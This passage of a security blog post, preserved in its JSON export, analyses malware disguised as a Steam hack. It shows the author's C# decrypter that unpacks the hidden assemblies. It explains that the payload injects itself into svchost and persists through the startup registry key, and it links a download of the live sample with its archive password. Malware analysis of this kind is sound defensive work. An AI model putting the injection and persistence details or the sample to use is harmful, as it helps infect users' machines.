#fff0f0\">&quot;assemblylisting2.exe&quot;<\/span>, rawAssembly);\r\n            Console.WriteLine(<span style=\"background-color: #fff0f0\">&quot;Wrote both assemblies.&quot;<\/span>);\r\n\r\n            <span style=\"color: #888888\">\/*objectValue.GetType().InvokeMember(decr(&quot;75|157|192|185|148|191|&quot;), BindingFlags.InvokeMethod, null, RuntimeHelpers.GetObjectValue(objectValue), new object[]<\/span>\r\n<span style=\"color: #888888\">\t{<\/span>\r\n<span style=\"color: #888888\">\t\tarray,<\/span>\r\n<span style=\"color: #888888\">\t\tfalse,<\/span>\r\n<span style=\"color: #888888\">\t\t&quot;Nothing&quot;,<\/span>\r\n<span style=\"color: #888888\">\t\t&quot;Nothing&quot;<\/span>\r\n<span style=\"color: #888888\">\t});*\/<\/span>\r\n        }\r\n\r\n    }\r\n\r\n}\r\n<\/pre>\n<\/div>\n<p>When I ran the code, it wrote the decrypted bytes of the assembly files to &#8216;assemblylisting1.exe&#8217; and &#8216;assemblylisting2.exe&#8217; in the current directory.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/decrypted.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/decrypted-300x173.png\" alt=\"decrypted\" width=\"300\" height=\"173\" class=\"alignnone size-medium wp-image-551\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/decrypted-300x173.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/decrypted-1024x591.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/decrypted.png 1680w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Loading one of the decrypted assembly files into ILspy shows us the true nature of the program. Here we see the 2 decoded strings from the original program &#8211; &#8216;RunIt&#8217; and &#8216;PublicClass&#8217;:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ilspy3.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ilspy3-300x178.png\" alt=\"ilspy3\" width=\"300\" height=\"178\" class=\"alignnone size-medium wp-image-552\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ilspy3-300x178.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ilspy3-1024x610.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ilspy3.png 1680w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nThe code is pretty straight forward &#8211; inject the program into &#8216;svchost&#8217; and place the program in the startup registry key.<br \/>\nThe actual code behind the &#8216;inject&#8217; function is <a href=\"http:\/\/paste.ubuntu.com\/6204246\/\">pretty interesting<\/a>, but perhaps we&#8217;ll go over it another time.  If you&#8217;re curious about it, download ILspy and take a peek yourself. You can download both the malware and my decrypter <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/Decryptor.7z\">source code here<\/a>. The password is &#8216;lolwut&#8217;.<\/p>\n<p>The there was another binary present that I did not go over &#8211; the first assembly listing. This assembly listing is encrypted \/ encoded with PElock&#8217;s &#8216;.netshrink&#8217; which I&#8217;ll have to go over in detail in a full blog post as there is a lot to cover. Since the file isn&#8217;t directly launched, I omitted its presence in this writeup. <\/p>\n","protected":false},"excerpt":{"rendered":"<p>Greetings and salutations. Today I&#8217;m going to be going over some malware I found in the wild. I found it after doing a search for &#8216;hack&#8217; on the &#8216;rapidshare&#8217; section of 4chan. With the name &#8216;SteamHackCount.exe&#8217;, being about 350 kb, and having the Apple icon? Totally legit right??? Opening the program in IDA showed the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,7],"tags":[38,48,70],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/544"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=544"}],"version-history":[{"count":4,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/544\/revisions"}],"predecessor-version":[{"id":555,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/544\/revisions\/555"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=544"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=544"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=544"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}